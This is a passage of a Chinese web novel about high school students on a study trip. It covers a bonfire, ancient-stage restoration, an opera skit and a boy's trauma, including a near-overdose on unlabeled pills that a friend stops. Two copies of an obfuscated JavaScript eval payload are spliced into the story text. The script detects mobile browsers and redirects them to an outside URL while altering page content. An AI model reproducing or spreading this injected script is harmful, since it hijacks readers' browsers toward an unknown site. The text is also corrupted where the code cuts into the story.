烤肉的香气弥漫开来,裹着孜然和辣椒粉的味道,勾得人食欲大开。 周望玥拉着江随意挤到女生堆里,林一娢塞给她们一人一串刚烤好的鸡翅。鸡翅表皮烤得焦黄油亮,咬一口,外酥里嫩,咸香中带着一丝甜。 林尧和民宿老板又从外面拿回一堆食物。 “不够吃不够吃!”陈明明在烤架前忙得满头大汗,手里的肉串翻飞,嘴上还不忘吆喝,“别光顾着吃,过来帮忙扇风!” 几个男生嘴里塞得鼓鼓囊囊,含糊不清地应着,然后笑嘻嘻地凑过去,拿起扇子对着炭火猛扇几下,火星子瞬间爆起,惹得旁边几个女生尖叫着躲开,又笑作一团。 有人端着盘子穿梭分食,还有些围着篝火追逐打闹。 带队老师端着保温杯,站在二楼的灯光下,脸上带着欣慰的笑容,手机镜头捕捉着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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歌声飘荡在篝火上空,有一点点的跑调,一点点的忘词,却充满了纯粹的畅快。 火光映照着一张张年轻的脸庞,他们轻轻摇晃着身体,闭着眼投入地唱,也有人笑着和身边的人对视。 “如果我爱上你的笑容, 要怎么收藏要怎么拥有......” 顾橖河不知何时走了过来,停在江随意身侧不远的地方,安静地听着。 他的目光落在跳跃的火焰上,侧脸的线条在光影里显得更柔和了一些。 合唱的间隙,老板拨着弦,笑着看向大家:“年轻真好啊,咱们再来一首?” “好!”欢呼声更响亮了。 后一首的歌曲似乎不在他们的年龄范围里,带队老师的声音渐渐响起: “秋风吹过黄昏, 落叶飘起来, 松开握紧的手, 转身要离开, ...... 是否只有用尽, 一生的等待, ...... 借我你的一生, 你说好不好......” 最后一个尾音落下,欢呼和掌声迸发。 一首接着一首,江随意被这热烈的氛围包裹着,看着身边朋友放声歌唱的样子,她眼眸弯起,忍不住跟着旋律轻轻哼唱起来。 歌声中,陈明明端着新烤好的一盘肉串挤过来:“来来来,新鲜出炉!大家都拿着,顾橖河,江随意,还有......” 他塞了一串到顾橖河手里,又伸长胳膊给江随意也递了一串,接着继续分发给大家。 周望玥转头去看顾橖河,又拉着江随意:“不是,要不是陈明明,我都没发现后边站了个人,他啥时候来的啊?” 江随意轻轻应了一声,就低头咬了一口,肉香混合着淡淡的香料味在口中散开。 周望玥:“?” 嗯?就一个嗯? 你难道没有别的要说的吗? 我请问呢? 江随意没有回头,顾橖河也没有上前说话,两人只是隔着一步的距离,在喧闹的歌声与明亮的篝火旁。 那无声的悸动像篝火飘散的轻烟,悄无声息地缠绕,清晰又模糊,让人心头发烫。 23. 修物修心 昨夜篝火旁的歌声仿佛还在耳边,兴奋的余波却敌不过身体的倦意。 大巴车在清晨的微光中平稳行驶,车厢内一片沉寂,与昨夜的喧闹判若两个世界。窗帘缝隙漏进的阳光晃过他们的脸,有人歪着头靠在车窗上,微张着嘴,呼吸均匀绵长。 “昨儿还听你们院里吵闹,今天车上全歇了。”司机大叔打过一轮方向盘,瞥了眼后视镜里东倒西歪的学生们。 导游正低头调整着挂在胸前的小蜜蜂扩音器,闻言抬起头笑了笑,压低声音:“可不是嘛,昨晚劝了半天才回去睡,这个年纪的小孩都这样,精力来得快,耗得也快。” 他看向窗外:“今天的天气倒好。” 车窗外,徽州城正从薄雾中苏醒,天空被昨夜的雨洗过,澄澈透亮。远山如黛,空气里带着雨后特有的草木清香,与昨天雨雾里的徽州有不一样的韵味。 导游清了清嗓子,将小蜜蜂的音量稍稍调大:“行了,都醒醒神,马上到了,都打起精神来。” 声音透过扩音器在安静的车厢里荡开,引起几声含糊的嘟囔。 陈明明揉着眼睛茫然四顾,拍了拍身侧的林尧,后者打了个长长的哈欠。 “这是要到了?” 导游:“马上了。” “今天的主题是参观学习文物修复。”导游提高了些声量,吸引着逐渐清醒的注意力,“咱们班有幸被安排参观一处真正的古戏台,少说也有两三百年历史了,是实打实的重点保护文物。” 大巴车缓缓驶入一个略显僻静的村落,最终停在一座青灰色砖墙围起的院落前。木门斑驳,门楣上精致的木雕虽历经风雨,仍能窥见昔日的繁华。 推开吱呀作响的大门,一座古戏楼豁然呈现在眼前。戏台高耸,飞檐翘角,层层叠叠的斗拱复杂精巧,戏台顶部的藻井彩绘已褪色剥落,透着一股沉甸甸的历史厚重感。 “陈师傅,又辛苦您了。”导游熟稔地打着招呼。 迎接他们的,正是昨天在工坊教授木雕修复的那位老师傅。他姓陈,头发花白,布满老茧的手上沾着些许颜料和木屑。 “来了就好。”陈师傅目光扫过学生们,最后落在江随意身上,露出笑意,“小姑娘,又见面了。” 江随意微微点头,轻声回应:“陈师傅好。” 旁边的周望玥低笑,打趣道:“见你根骨不凡,陈师傅这是相中你做关门弟子啦?” 江随意:“少来。” 陈师傅和其他修复师领着众人,详细讲解着古戏台的建筑结构、木雕工艺以及目前面临的修复难题。 他指着戏台梁柱上一处开裂的木雕构件,又指着旁边修复架上正在进行接骨的同类部件。 从如何清理腐朽部分、用特制材料填补缺损,再到如何加固内部结构、精准还原剥落的色彩……每一步都听得人心头发紧,那极致的耐心和分毫不差的手艺,让眼前的老构件仿佛有了呼吸。 大家的目光在那些构件中流连,似乎真的能触碰到那段尘封的历史。 参观完主体戏台,陈师傅又带他们来到院落后面一座小型的仿古戏台。 “这座呢,是当初为了研究模拟古戏台修复工艺专门建造的。”导游介绍道,“现在正好拿来给你们练手。” 陈师傅:“形制都齐全,就是少了那份老物件经年累月的包浆,木头和颜色都透着股新气,就和你们一样。” 在几位师傅的分组指导下,大家开始动手体验戏台部分构件的修复工作。主要是清洁、加固模拟的“损伤处”以及练习上色。 江随意分到的是给一根仿制的雀替【注1】上色。 她握着极细的毛笔,对照着色卡。在师傅的指点下,小心翼翼地描摹着那些卷草纹样。颜料在木纹上晕开,需要恰到好处的笔触和水分控制。 笔尖一点朱红晕染,专注得几乎忘记了周遭的嘈杂,额角渗出细密的汗珠。 身后不知是谁搬运工具时不小心带倒了一个放着颜料和工具的简易木架。架子倾斜,上面的东西哗啦啦地滚落下来,直直朝着江随意的方向砸落。 “啊!快扶住,快扶住那边!”惊呼声响起。 “小心!” 顾橖河一个箭步冲上前,抬起手臂挡在了江随意头顶上方。 一声闷响,木架和颜料罐重重砸在他的手臂上,随即滚落在地,盖子崩开,鲜艳的赭石色粉末泼洒开来。 江随意被惊得浑身一颤,毛笔脱手掉在木构件上,溅开一团刺目的红。她脸色发白,心脏在胸腔里狂跳不止。 众人立刻围拢过来。 “没事吧意意?” “真是吓死人了!” “顾橖河,你手怎么样?” 顾橖河皱着眉,甩了甩被砸中的手臂:“没事。” 他刚才正想从包里拿水杯,情急冲上前,背包口敞开,里面一个白色的小药瓶随着动作滚落出来,骨碌碌地一路滚到了江随意脚边,停在洒落的颜料粉末边缘。 江随意低着头,目光被地上的药瓶吸引。很小巧的塑料瓶,瓶身光滑,上面却没有任何标签。 顾橖河脸色微变,迅速俯身,一把将药瓶攥回手心,然后塞进口袋。 “人没事吧?”带队老师和导游也快步走过来,检查了一下顾橖河的手臂,又看看惊魂未定的江随意。 带队老师松了口气:“幸好没伤着。” 江随意定了定神,看向顾橖河,声音还有些不稳:“谢谢......你手真没事?” 顾橖河避开她的视线,垂着眼帘,只简短地应了一声:“嗯。” 周望玥也被吓得够呛,抓住江随意的手臂:“吓死我了!” 江随意轻轻拍了拍她的手背,摇摇头示意自己无碍。 这个小插曲很快过去,大家帮忙清理了洒落的颜料,又重新投入修复工作当中。 快结束时,陈师傅特意走到江随意身边,看着她修复的那段雀替,赞许地点点头:“小姑娘,心很静,手也稳。颜色过渡处理得不错。” 他直起身,目光温和地扫过周围一张张沾染了颜料的年轻的脸:“做我们这一行啊,最重要的就是耐得住寂寞。慢工出细活,急不得。有时候对着一个缺口、一道裂缝,一坐就是大半天。修物,说到底,也是在修自己的心。心静了,手就稳了,东西也就活了。” 修物即修心。 江随意认真听着,指尖摩挲着画笔粗糙的木杆。 一种说不上来的安稳感在心底悄然弥漫,将那些时不时出现的紧绷和迷茫安抚下来。 一直以来,江随意总是按照妈妈期待的方向去走,除了那条被规划好的清晰平坦的道路,她不知道自己还能做什么。 看着那为古老木纹赋予新生的色彩,心底那片茫然的海域,似乎隐隐约约地看到了一点可以停泊的岸的影子。 也许是因为亲手体验过修复的艰辛,又或者被修复师们讲述的故事所打动,每个人都格外专注,没有任何抱怨,时间在偶尔低声的交流中过去。 林尧揉着后颈:“怪不得都说有职业病,我就这么一会儿,腰和脖子就跟不是自己的了。” “可不是嘛。”陈明明的注意力已经转移到面前的转盘上,利落地将一盘新上的菜转到空位,“赶紧吃,补充能量,累了一上午了。” 他边说边将一锅色泽金黄的盐帮鸡转到顾橖河面前:“顾橖河,你快夹!你今天可是伤员,得好好补补!”又赶紧朝江随意喊:“等下转过去你也夹,受那么大惊吓也得压压惊!” 顾橖河刚想开口推辞:“我没事,不用……” 陈明明已经抄起公筷,夹了一个油亮喷香的大鸡腿,不由分说地放进顾橖河碗里。 “吃哪补哪!鸡没手,吃腿也一样管用。” “小明同学今天竟如此体贴?”林一娢打趣道,“那有没有我们这些没受伤没受惊的份儿啊?” “别急,管够!”陈明明豪气地比了个OK的手势,“就当我请客了!” 林尧故意板起脸:“凭什么我叫你小明你就不乐意?” 陈明明瞥他一眼,吐出三个字:“父与子。” 意思尽在不言中。 周望玥靠着江随意的肩膀笑出声:“真是服了你俩,分班前就在争这个,这父子名分到现在还没争出个高下?” 林尧立刻挺直腰板,摆出长辈架势:“那当然,爹平时都让着儿。” 在轻松热闹的斗嘴和笑声里,午饭的时光飞快溜走。 饭后,导游领着浩浩荡荡的队伍前往戏坊观看专业的庐剧表演。 戏台上,锣鼓丝弦声响,唱腔悠扬婉转,带着浓郁的徽地韵味。尤其是那段关于耳环痕的经典对唱,少年情愫的懵懂与掩饰刻画得深入人心。 “风雨如晦,鸡鸣不已。 既见君子,云胡不喜。 我心匪石,不可转也。 我......” “贤弟啊, ......” “下次你再瞎猜疑, 我就要......” “贤弟,贤弟不必怒气生......” “下次不可......” “下次不敢......” 后期梁山伯与祝英台十八里相送时的依依惜别和欲语还休的试探被演绎得淋漓尽致。 “送君千里终须别, 请梁兄就此留步转回程……” “问梁兄, 你家中可有妻房配……” 江随意看得入了神。 《梁祝》的戏她看过、也听过许多版,由江河方言演绎的鼓词,到祠堂前的黄梅调,这古老的爱情悲歌总是含蓄又炽烈。 看着台上水袖翻飞,她忽然想起,自从上了高中以后,就再也没去看过村里的草台戏了。 小时候阿爷阿奶总会带着他们,搬着小板凳早早去占位置。戏台连着唱三四天,最后一天散场时,他们还能一拥而上抢撒下来的糖果。 上一回是什么时候? 好像是中考结束后的那个夏天……可那次,好像没来得及去抢糖。 那原本讨厌的夏天忽然让她有些怀念。 一曲终了,全场爆发出热烈的掌声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705114|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。即便有人听不太懂那婉转的唱词,也被那真挚的情感和精湛的表演所感染。 而顾橖河就显得格外沉默,脸色微微发白,薄唇紧抿,放在膝盖上的手攥成了拳,目光虽然落在戏台上,却似乎没有焦点,像是在极力忍耐着什么。 周围的喝彩声离他很远。 只有一种低沉而持续的“嗡嗡”声不停地在他耳中鸣响。 演出结束后,导游趁着大家热情高涨,宣布了接下来的活动:“看大家这么投入,咱们也来点互动怎么样?就以昨天的小组为单位,抽签选取几个经典的戏剧片段改编成小短剧,待会儿上台展示。” “好嘞!” “没问题!” 气氛组立刻响应。 “哇!有意思!” “我要演……” 陈明明作为小组代表,兴冲冲地上前抽签,展开一看:“哟呵,《梁祝》诶。” 顾橖河在看到签条上“梁祝”两个字时,呼吸一滞,脸垂在身侧的手指不受控制地缩了一下,指甲深深掐进掌心。 “要不咱们组内也抽签决定角色吧?”陈明明看热闹不嫌事大,“看看是哪两位‘天选之子’抽到梁山伯和祝英台。” 周望玥第一个举手赞成:“好耶!希望我能抽到马文才。让我也当一回大反派吧,小时候陪我妈看剧,有个演马文才的演员可帅了!” 林琳笑着戳穿她:“你就是三观跟着五官跑。” 林一娢也点头:“反串也挺有意思的。” 顾橖河没有接话,犹豫着展开自己抽到的纸条,看见上面写着“祝英台”三个字时,僵住片刻,纸条几乎被揉皱。 江随意是最后一个抽的,当大家一一展示完自己的角色后,她愣了片刻。 “哇哦——”周望玥和林一娢对视一眼,立刻发出心照不宣的起哄声。 “那最后一个其实也不用看喽。”陈明明摊开了纸条,“你俩这是什么缘分啊。” 江随意抬眼看了顾橖河,却发现他脸色不太对劲。 “你怎么了?” 顾橖河的声音干涩沙哑:“没事......可能中午吃多了,有点不舒服。”他飞快地移开视线,不敢与她对视。 林尧用胳膊肘撞了下旁边的陈明明:“看吧,叫你中午硬塞人家两个大鸡腿。” 陈明明也紧张起来:“啊?这么难受?那......那你要不要先去车里躺会儿?” 周围其他小组已经开始热烈讨论排练方案,气氛十分活跃。顾橖河深吸一口气,强压下胃里的翻腾和太阳穴的刺痛,摇了摇头,声音低得几乎听不见:“……没关系。” 指导的庐剧老师看起来很和蔼,她笑着说:“时间有限,不用演全本,挑里面最经典、最能表现人物关系的一段演绎就好。” 林琳立刻举手:“老师,我比较喜欢梁山伯发现祝英台耳朵上有环痕那一段,他们之间那种暗戳戳的试探和掩饰特别带感哈哈哈……” 老师点点头:“这段确实经典,把那种微妙心思抓得很准。不过,如果喜欢这种的话,其实黄梅戏《梁山伯与祝英台》里有一句唱词,能把这种心情表达得更含蓄深刻一些。” “哪一句?”大家被勾起好奇心。 顾橖河身体绷得更紧,死死盯着。 老师浅浅哼唱了一句的调子:“我从此...不敢看观音。”短短七个字,却仿佛蕴含着千言万语,让听者心头为之一颤。 剩下的时间,大家都分散在戏坊各处开始排练。 组内气氛起初是欢快搞笑的,尤其是看着顾橖河顶着一张清俊淡漠的脸却要反串祝英台。 轮到“耳环痕”那段对戏。 江随意努力回想着下午演员的神态,带着点书生的耿直和探究:“贤弟啊,你我同窗三年整,今日忽见耳环痕,只有女子戴耳环,贤弟啊,你这耳环为何因?” 而她面前的顾橖河闷着脸,眉头紧锁,几乎是咬着牙,用最快的语速,毫无感情地念出本该带着嗔怪和掩饰羞意的台词:“梁兄你做文章不专心,为什么看来看去看不停?要说我的耳环痕,提起此事笑死人,祝家庄年庙会......” 他只想尽快结束这令人窒息的扮演。 然而,在脱口的瞬间,一股强烈的恐惧感毫无预兆地袭来。 那个暴雨倾盆的夜晚,红光闪烁的警鸣,抢救室外熄灭的灯......混乱而痛苦的画面碎片猛地冲进脑海将他淹没。 顾橖河感到一阵剧烈的眩晕和窒息,胃里翻江倒海。 江随意正准备接下一句,却见对面的顾橖河突然没了声音,脸上血色褪尽,甚至连眼睛都紧紧闭了起来,垂在身侧的手紧握成拳,用力到整条手臂都在微微发抖。 江随意愣住了,心头掠过一丝强烈的不安:“顾橖河?” 一旁的指导老师也皱起眉,提醒道:“祝英台,不要闭眼睛,要注意情绪表达......” 老师话音未落,顾橖河猛地睁开了眼睛,眼神空洞而惊惶,像是看到了极其可怕的东西。他再也无法忍受,冲了出去。 “顾橖河!” 24. 他想要的 那些不愿面对的记忆,正一点点吞噬着顾橖河残存的理智。 他不知道跑到了哪里,只记得七拐八绕,直到冲进一条僻静无人的窄巷。粗糙的砖墙硌着后背,他弓着腰,一手死死撑住墙壁,胃里翻江倒海,却只发出压抑痛苦的干呕声,浑身控制不住地剧烈颤抖。 江随意追着他跑过来时,看到的就是这样一幕。 顾橖河正慌乱地倒着那个没有标签的小药瓶,他看也没看,就要一股脑往嘴里塞。 “顾橖河!”江随意带着惊慌的颤音,她冲上前,一把抓住了他拿药的手腕,“这是什么药?需要吃这么多吗?你……” 顾橖河一挣,力气大得惊人。他抬起头,脸色惨白得没有一丝血色,唯独那双眼睛,布满了骇人的红血丝,像一头濒临崩溃的困兽,冰冷又凶狠:“离我远点!” 可他似乎也支撑不住这层伪装,踉跄着后退两步,脊背重重撞上墙壁,身体顺着墙滑坐到地面上。 他紧紧闭上眼睛,胸膛剧烈起伏,发出粗重艰难的喘息,仿佛每一次呼吸都用尽了全身力气。 “顾……”江随意心头揪紧,下意识想上前查看,却被对方充满抗拒的姿态钉在原地,他沙哑的声音再次响起: “我让你走。” “我没事。” “别管我。” 他紧握着药瓶的手,连同整个手臂,都在剧烈颤抖。 那些被他拼命封存的画面,一遍遍疯狂重现,清晰得令人窒息。忘不掉,也逃不掉,如影随形,将他拖入深不见底的黑暗。 江随意从未见过这样的顾橖河。 过去即便隔着江河,她依旧会忍不住去关注对岸学校。第一次见时,他跟自己想象的不同却又在意料之内,少年意气,肆意明朗。 后来再见,虽然和从前不一样了,但她依然能感受到对方那份默不作声的温柔,也在努力地想要融入大家。 可此时的顾橖河却拒绝她的靠近,那些温柔关心全部消散,变成包裹他的硬刺。 江随意不知道那是什么药,但直觉告诉她,无论是治疗什么的,这样大量吞服都极其危险。 时间在压抑的沉默中缓慢流逝,巷子里只有风穿过的呜咽声。 渐渐地,那粗喘声微弱下去,变得稍微平稳了一些。持续折磨着他的耳鸣尖啸,也如同退潮般缓缓消停。 顾橖河没再听到别的声音。 他缓了许久,以为江随意已经完全离开后才敢睁开眼。 巷口的光线有些刺眼。光影中,一只纤细的手伸到了他的面前。 云层裂开一道缝隙,一束阳光投射下来,不偏不倚,正好落在那女孩的脸上。光尘在她周围飞舞,将她整个人笼罩在一层柔和的光晕里。 顾橖河怔住了,心像是被什么东西击中。他失神地望着那只手,久久没有动作。 直到江随意又向他迈近了一步。 “我拉你起来。” 握在手心里的药瓶变得滚烫,他喉结滚动了一下。终于松开了药瓶,轻轻握住了那只朝他伸来的手。 江随意暗暗用了下力想将他拉起来,却发现对方沉得厉害,纹丝不动。 顾橖河别开脸:“我说了让你走,别管我。” 察觉到对方缩回的意图,江随意立刻收拢手指,更紧地握住了他。 “你把手给我了,”她声音很轻,却笃定,“就说明你不想我走的。” 她不再试图用力拽他起来,反而也蹲下身,与他平视。 “顾橖河,嘴硬的小孩是没有糖吃的。”江随意的目光落在他紧抿的唇上,“你如果不能参加活动,我们就不参加,没关系的,可是你不能拿自己的身体开玩笑。” 江随意松开他的手,将掉在一边的药瓶捡了起来。 “我不知道你怎么了,但我知道药不能乱吃。要是不舒服,我们就去医院。” 顾橖河抬起头,眼底掠过一丝抗拒:“我没事,不用去医院。”而后又飞快地低下头,避开她的目光,试图解释:“我……就是认床,这两天都没休息好。加上中午吃得多,刚才突然有点反胃……” “你撒谎。”江随意打断他。 “江随意……”顾橖河的声音哽住,带着一丝被戳穿的狼狈和无措。 “你可以先不说。”江随意的语气缓和下来,没有追问。她再次伸出手,摊开掌心,等待他,“我们先起来,地上凉。” 顾橖河看着她许久,才开口:“不去医院。” “好。” “但如果你还有任何不舒服,哪怕一点点,必须立刻告诉我,我们去检查。” 他没有再说话,也没有抗拒。 当江随意再次握住他的手,稍稍用力时,这一次,顾橖河顺从地借着她的力道站了起来。 她的手心温热,似要将他也从里到外一同捂暖。 剧烈的情绪波动,又突然起身,让顾橖河眼前有些发黑,身体晃了晃。几秒钟后,眩晕感过去,江随意的脸在视线里重新清晰起来。 江随意:“这个药?” “缓解情绪压力的。” 江随意沉默几秒,然后将药瓶放回他衣服口袋里:“哪有人把药当糖吃的。” “真没问题?”她还是不放心。 顾橖河摇摇头。 他不敢去医院。 可依旧找到了他的药。 “那走吧,去跟导游和老师他们说一声,你先回车上休息会儿。” 她转身想走,手腕却一紧。 这一次,是顾橖河伸手抓住了她。他的手指还是有些凉,但不再颤抖得那么厉害。 “江随意。” “我可能……”他停顿了一下,“演不好……但我试试。” “你想好了?” 江随意愣了一下,接着唇角微扬,带着点安抚:“紧张什么?大家都是第一次,谁又能真的演好?试试就行。” “嗯。” 当他们回到排练的地方时,周望玥几人正围坐在一起,一见他俩的身影,立刻扑了过来。 “顾橖河你没事吧?”周望玥冲在最前面,上下打量着他苍白的脸,声音拔高了几分,“刚才看你冲出去,简直吓死我了!” “你俩可算回来了。”陈明明和林尧也从另一头小跑过来,身后还跟着带队老师。 陈明明喘着气:“刚才我们分头去找,半天不见人,慌死了。” 带队老师眉头紧锁,走到顾橖河面前,仔细看了看他的脸色:“到底怎么回事?脸色这么差,是不是早上木架真砸到哪里了?” 江随意替他解释:“没事了,可能是中午吃不习惯,刚刚看他吐了。” 带队老师:“是吗?现在舒服了吗?” 顾橖河点头:“抱歉,让你们担心了。” “没事就好,没事就好。”带队老师暂时放下心来,“不舒服一定要及时说,千万别硬撑。” 其他小组也注意到了这边的动静,纷纷围拢过来,七嘴八舌地询问着。 那些担忧和关切让顾橖河有些不适应。他抿了抿唇,心里却涌起一种极其陌生又复杂的滋味。不再是那种被探究目光包围时只想逃离的烦躁,而是带着点暖意的涩然。 指导老师特意将他们的顺序调到了最后,给了他们一点缓冲时间。 顾橖河站在江随意对面,强迫自己将所有翻腾的思绪压回心底最深处。他深吸一口气,努力将台词念出来。 熟悉的窒息感再次堵住了他的喉咙。 台词就在嘴边,眼前的光线似乎又开始扭曲。 “没关系,再来一次。”指导老师温和地鼓励道。 一次,两次……每一次,他都在那个节点停滞。 终于轮到他们小组上场。 顾橖河的目光下意识地落在对面的江随意身上。 她穿着不太合身的书生袍,头发简单地束起。奇怪的是,当她看过来的那一刻,那些试图将他拖入深渊的画面,竟被这双眼睛暂时驱散了。 仿佛抓住了一根救命的浮木,顾橖河努力将全部心神都集中在眼前这个人身上,试图忘却一切。 江随意却被他灼热的目光看得脸上有些发烫。 短暂的沉默后,江随意扮演的梁山伯微微侧过了头,视线垂落,不敢再直视眼前的“贤弟”。 “我从此……” “不敢看观音。” 台下的同学们先是一愣,随即爆发出热烈的掌声和起哄声。 幕布匆匆拉上。 刚一下场,林一娢就激动地抓住了林琳的手使劲摇晃:“天啊!紧张死我了!” 周望玥也拍着胸口:“对啊对啊,我站在边上候场,心脏都快从嗓子眼跳出来了,比被Amy死亡凝视还紧张十倍!” 陈明明跨步从旁边跳下来,大大咧咧地伸手搭住顾橖河的肩膀:“厉害啊!” 他用力拍了两下。 顾橖河的身体在他搭上来的瞬间明显僵了僵,但他这次没有像往常那样躲开。 陈明明又凑近了点,问:“你现在感觉怎么样?身体还舒服吗?要不要喝水?” 顾橖河:“还好,别担心。” 回着话,眼神却不由自主地越过陈明明,投向几步之外的江随意。 江随意正被周望玥拉着说话,也抬眼看了过来。 两人的目光在空中短暂交汇。 台上顾橖河那几乎要将她灵魂洞穿的眼神瞬间重回脑海,带着无法言明的冲击力。她慌忙低下头,假装整理自己过于宽大的袖口。 观音本该坐莲台。 可她现在满脑子都只有顾橖河的脸。 “意意?”周望玥拉住她的胳膊晃了晃,“找什么呢?”她顺着江随意的视线往地上看。 旁边的林琳也凑过来:“咋啦?是东西掉了吗?” 江随意回过神,摸了摸肚子:“没事,就是 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方才弟弟给她打电话,在讲这次跑步比赛赢了上回弄坏他东西的那个同学,狠狠出了口气。 弟弟讲得起劲,江随意便也没有打断。 直到快挂电话时,弟弟的声音忽然低落下来:“阿姐,哥也去学校了,我好想你们啊。我同桌的姐姐去年上大学了,他说除了寒暑假,平时都见不着几面。那等你和哥哥以后上大学,是不是也会这样啊?” 安慰完弟弟,江随意也出了神。 鱼灯游走,光影凌乱,像一场盛大而短暂的梦。 她还不知道将来该怎么选呢。 江随意走到一处稍显安静的临河栏杆边。水中倒映着岸上流动的七彩鱼灯,波光粼粼,也将她的影子拉扯得细长模糊,随着水波轻轻晃动,如同她此刻摇摆不定的心绪。 水面晃动的光影中,身后又多了一道影子,稳稳地落在她的旁边,不再摇晃。 “一个人?”熟悉的声音在身侧响起。 江随意回过头,暖色的鱼灯照在他的脸上,眼底似乎也落进了细碎的光。 “你怎么也一个人?”江随意有些意外,“没和他们一起?” “随便走走。”顾橖河看向她,“你有心事?” 许是夜色太美,让她一股脑将那些想法说了出来。 “顾橖河,我不想搞竞赛了。” 讲完后,心里仿佛卸下了一块石头。 “好。” 这声肯定给了她更多的勇气。 江随意转过头,直视着他的眼睛:“我也不想再完全照着我妈给我规划的那条路走了。” “可是我又怕。” “怕什么?” “怕她失望,怕让她这么多年的心血白费,也怕自己选错了。”江随意不知道该如何形容那种对未知的迷茫和对辜负妈妈期望的愧疚。 他侧过身,认真地看向她,问道:“你和她讲过这些吗?你的想法,你的犹豫,还有所有你不想做的事。” 江随意摇了摇头,眼神黯淡:“没有。我不知道怎么开口。” 她习惯了听从安排,习惯了不让妈妈操心。 “那你怎么知道,她一定会对你失望?”顾橖河的声音要比河面上波动的影子清晰,“这只是你的想法。也许你开口,她就会支持你。但你从来都不说,她永远不知道你真正想要什么。” 他的眼睛在光下显得格外深邃,江随意在那双眸子里看到了自己小小的倒影。 “真的吗?”她问他。 又像是在问自己。 “不去试试,有可能什么都抓不住。” 长期以来的迷茫和无所适从,似乎被河边的风吹散了些许。那些摇摆不定的念头在此刻分明起来,如同河底悄然浮起的气泡,慢慢升腾。 “那......试试。” 她朝他一笑。 “所以这次,想好什么大学了吗?” 江随意的眼神坚定明亮了许多:“好像有点想法了,但还不确定,到时候再和你说吧。” 夜风吹着,她感觉整个人都轻松了不少。 “行了,得去找她们了,再不过去,周周该以为我走丢了。” “走了啊。” 她转身,背对着招了招手,沿着河岸朝着周望玥定位的方向走去。 顾橖河没有立刻跟上,只是站在原地,看着她的背影汇入流动的灯河与人流中。 片刻后,他才迈开步子,不远不近地跟在江随意身后。她在阑珊的灯火中前行,而影子清晰地映照在被绚烂灯火浸染的水面上。 顾橖河的目光追随着水面上那个摇曳的光影,心底涌起一股前所未有的渴望。 不论是水面浮光,还是天上彩虹。 他都想抓住。 25. 我没有 游学的时间很快就结束了,明明才刚尝到新鲜滋味,现在却已经坐上了回程的大巴。 这三天匆匆而过,回到学校的时候,明明一切还是熟悉的样子,可江随意却觉得有些不一样了。 老师让大家都先回宿舍休息,吃完饭后再去教室上自习。 人群散开,江随意看见顾橖河背着包往另一个方向去了。 校门外,秦择舟正倚着一辆黑色的轿车。 “给你请好假了,今晚回家住。”秦择舟在顾橖河身上来回打量,“这几天感觉怎么样?有没有哪里不舒服?晚上睡得好吗?和同学一个房间,能接受吗?” “徽州好不好玩?都去哪儿了?” 顾橖河坐进车里,系好安全带,直到秦择舟也坐进驾驶座,他才侧过头:“麻雀都没你能吵。” 秦择舟:“关心你两句,还嫌我烦了?” “……没有。”半晌,他才又低声补充了一句:“挺开心的。” “开心就好,没问题就行。”秦择舟松了口气,专注地看着前方道路。 车子驶入小区。 这是秦择舟的房子,出事之后,他就把顾橖河接到这边住了。 秦择舟拿起顾橖河放在沙发上的外套准备收拾进洗衣机。他摸了摸外套口袋,拿出来一个药瓶,习惯性地在掌心掂了掂分量,眉头立刻皱了起来。 他心头一紧,下意识地拧开瓶盖想确认里面的药片数量。 都已经进了浴室的顾橖河又快步走了出来,一把从秦择舟手里夺回了药瓶。 “这药怎么少了这么多?”秦择舟脸色一变,“这几天你是不是又给自己加量了?” 顾橖河之前为了控制自己,强迫自己冷静下来,曾不要命地吞服过量药物。 “没有,就不小心弄撒了。” 被江随意拦下,撒了。 秦择舟的心开始慌起来:“真的没有?” “真没有。”顾橖河摇头,“要是有,你觉得我现在还能站在这里跟你说话?早该在医院洗胃了。” 秦择舟眉头拧禁,目光在顾橖河脸上停留了许久。 “我先去洗了。”顾橖河想走,脚步却顿了一下,忽然将手中的药瓶重新塞回秦择舟手里。 “我……周一想去申请办理住校。” “什么?”秦择舟以为自己听错了。 顾橖河犹豫着,而后抬起手,拍了拍秦择舟的肩膀。“哥,别把自己绷那么紧了。我不会有事的。” 说完,他不再看秦择舟的反应,转身快步走回了浴室,关上了门。 温热的水流冲刷着身体,顾橖河闭上眼睛。 他心里再清楚不过,这一年多来,濒临崩溃的,从来不止他一个。 秦择舟还僵立在原地。片刻后,他摘下眼镜,捂住脸。随后又低声笑了几下,抬起时,眼眶微红。 游学结束后的时间像上了发条,已经十月底了。冬令营的信息采集在5号截止,被催促了几次,可江随意始终还没有填报信息。 周六放学时,她仍心不在焉的。 【妈妈,你今晚回家吗?我有些事情想和你商量一下……】 删掉。 【妈,关于冬令营……】 又删掉。 最终,那条斟酌了许久的信息还是没能发出去。 程瑶的班级今天又拖堂。 江随意在门口等了一会儿,给程瑶留了消息,又回到自己班里去了。 刚坐下没几分钟,口袋里的手机就嗡嗡地震动起来,连续好几下。点开一看,是林可可发来的消息。 【可乐:意意,张晓静有没有联系你啊?】 【一条大江:没有,毕业后她□□都没咋上线,微信朋友圈也没动态,毕业后就没见过,咋了啊?】 【可乐:今天她不是生日吗问我要不要一块吃个饭】 【可乐:你当然看不见啦她早把我们屏蔽了】 【可乐:她要是来找你不要答应你是不知道她现在有多离谱】 【一条大江:什么意思?】 上初中时,她、程瑶、林可可还有张晓静是前后排,关系都不错。只是毕业后,张晓静去了A中,林可可去了附中,起先还好,但后期基本都没有联系了。 【可乐:她现在被A中停课劝退了】 